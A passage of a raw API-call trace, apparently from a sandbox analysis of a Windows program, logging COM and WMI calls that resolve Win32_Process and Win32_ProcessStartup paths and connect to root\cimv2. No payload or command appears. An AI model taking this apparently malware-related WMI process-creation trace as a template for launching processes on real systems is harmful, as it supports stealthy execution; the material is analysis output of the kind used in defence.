puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f5c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0157.382] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f5c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0157.382] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0157.382] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0157.382] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0157.382] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.384] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bb8b340) returned 0x0 [0157.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b340, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0157.384] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b340, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f500) returned 0x0 [0157.385] WbemDefPath:IUnknown:Release (This=0x1bb8b340) returned 0x0 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f500) returned 0x0 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0157.385] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bb8b2e0) returned 0x0 [0157.385] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b2e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.385] WbemDefPath:IUnknown:Release (This=0x1bb8b2e0) returned 0x3 [0157.385] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0157.385] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0157.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0157.386] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0157.386] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0157.386] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0157.386] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0157.386] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f500) returned 0x0 [0157.386] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0157.386] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0157.386] WbemDefPath:IWbemPath:SetText (This=0x1bc3f500, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0157.386] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.386] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0157.386] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0157.387] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0157.387] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.388] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bb8b2c0) returned 0x0 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b2c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0157.389] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b2c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3f440) returned 0x0 [0157.389] WbemDefPath:IUnknown:Release (This=0x1bb8b2c0) returned 0x0 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3f440) returned 0x0 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0157.389] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0157.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bb8b860) returned 0x0 [0157.390] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b860, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.390] WbemDefPath:IUnknown:Release (This=0x1bb8b860) returned 0x3 [0157.390] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0157.390] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0157.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0157.390] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0157.390] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x1 [0157.390] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0157.390] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0157.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3f440) returned 0x0 [0157.390] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0157.390] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0157.390] WbemDefPath:IWbemPath:SetText (This=0x1bc3f440, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0157.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f440, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0157.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.390] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0157.390] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0157.391] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0157.391] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.391] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1aa0d890) returned 0x0 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d890, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0157.392] WbemLocator:IClassFactory:CreateInstance (in: This=0x1aa0d890, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1aa0d8b0) returned 0x0 [0157.392] WbemLocator:IUnknown:Release (This=0x1aa0d890) returned 0x0 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1aa0d8b0) returned 0x0 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0157.392] WbemLocator:IUnknown:AddRef (This=0x1aa0d8b0) returned 0x3 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0157.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0157.392] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0157.393] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0157.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0157.393] WbemLocator:IUnknown:Release (This=0x1aa0d8b0) returned 0x2 [0157.393] WbemLocator:IUnknown:Release (This=0x1aa0d8b0) returned 0x1 [0157.393] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0157.393] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0157.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d8b0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1aa0d8b0) returned 0x0 [0157.393] WbemLocator:IUnknown:AddRef (This=0x1aa0d8b0) returned 0x3 [0157.393] WbemLocator:IUnknown:Release (This=0x1aa0d8b0) returned 0x2 [0157.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f440, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0157.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.393] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1aa0d8d0) returned 0x0 [0157.393] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1aa0d8d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb976d0) returned 0x0 [0157.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb976d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdd700) returned 0x0 [0157.822] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd700, pProxy=0x1bb976d0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0157.822] WbemLocator:IUnknown:Release (This=0x1bbdd700) returned 0x1 [0157.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb976d0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdd740) returned 0x0 [0157.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb976d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdd700) returned 0x0 [0157.822] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd700, pProxy=0x1bb976d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.822] WbemLocator:IUnknown:Release (This=0x1bbdd700) returned 0x2 [0157.822] WbemLocator:IUnknown:Release (This=0x1bbdd740) returned 0x1 [0157.822] CoTaskMemFree (pv=0x1bc19860) [0157.823] WbemLocator:IUnknown:AddRef (This=0x1bb976d0) returned 0x2 [0157.823] WbemLocator:IUnknown:Release (This=0x1aa0d8d0) returned 0x0 [0157.823] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0157.823] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0157.823] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb976d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdd710) returned 0x0 [0157.823] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd710, pPrx=0x1aa0d830, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0157.823] WbemLocator:IUnknown:Release (This=0x1bbdd710) returned 0x2 [0157.823] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0157.823] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0157.824] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb976d0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb976d0) returned 0x0 [0157.824] WbemLocator:IUnknown:Release (This=0x1bb976d0) returned 0x2 [0157.824] SysStringLen (param_1=0x0) returned 0x0 